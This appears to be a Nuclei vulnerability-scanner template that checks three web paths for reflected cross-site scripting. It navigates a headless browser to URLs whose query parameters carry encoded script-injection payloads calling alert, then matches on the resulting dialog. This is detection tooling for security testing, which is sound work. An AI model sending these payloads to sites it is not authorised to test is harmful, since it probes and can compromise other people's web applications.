xss-headless.yaml

id: headless-reflected-xss

info:
  name: Reflected Headless XSS
  author: yar0v1t
  severity: high
  description: |
    A cross-site scripting (XSS) vulnerability with headless mode.

headless:
  - steps:
      - args:
          url: "{{BaseURL}}/listproducts.php?cat=1%3C%2Fscript%3E%3Cscript%3Ealert%283%2B4%29%3C%2Fscript%3E"
        action: navigate

      - action: waitdialog
        name: reflected_cat_query

    matchers:
      - type: dsl
        dsl:
          - reflected_cat_query == true
          - reflected_cat_query_message == "7" # 3+4
        condition: and

  - steps:
      - args:
          url: "{{BaseURL}}/hpp/params.php?p=valid&pp=1%3Cscript%3Ealert%281%2B1%29%3C%2Fscript%3E"
        action: navigate

      - action: waitdialog
        name: reflected_pp_query

    matchers:
      - type: dsl
        dsl:
          - reflected_pp_query == true
          - reflected_pp_query_message == "2" # 1+1
        condition: and

  - steps:
      - args:
          url: "{{BaseURL}}/widgets/knowledgebase?topicId=%3Cscript%3Ealert%284%2B4%29%3C%2Fscript%3E"
        action: navigate

      - action: waitdialog
        name: reflected_topicId_query

    matchers:
      - type: dsl
        dsl:
          - reflected_topicId_query == true
          - reflected_topicId_query_message == "8" # 4+4
        condition: and